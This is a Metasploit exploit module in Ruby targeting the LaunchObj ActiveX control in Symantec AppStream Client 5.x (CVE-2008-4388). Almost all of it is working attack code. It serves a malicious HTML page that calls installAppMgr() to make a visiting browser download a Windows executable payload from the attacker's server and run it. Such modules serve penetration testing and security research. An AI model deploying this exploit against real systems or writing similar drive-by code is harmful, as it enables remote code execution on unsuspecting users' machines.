This Metasploit module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()" method. The insecure method can be exploited to download and execute arbitrary files in the context of the currently logged-on user.
25139b517530793cda7d0020f93996d667d829a69312b86535c40c3b7e8e7569##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute.',
'Description' => %q{
This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability
is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the "installAppMgr()"
method. The insecure method can be exploited to download and execute arbitrary files in the
context of the currently logged-on user.
},
'License' => 'MSF_LICENSE',
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-4388' ],
[ 'OSVDB', '51410' ],
],
'Payload' =>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DisclosureDate' => 'Jan 15, 2009',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
payload_url = "http://"
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"
if (request.uri.match(/payload/))
return if ((p = regenerate_payload(cli)) == nil)
data = Msf::Util::EXE.to_win32pe(framework,p.encoded)
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
vname = rand_text_alpha(rand(100) + 1)
exe = rand_text_alpha(rand(5) + 1 )
content = %Q|
<html>
<object id='#{vname}' classid='clsid:3356DB7C-58A7-11D4-AA5C-006097314BF8'></object>
<script language="javascript">
#{vname}.installAppMgr("#{payload_url}/#{exe}.exe");
</script>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
end
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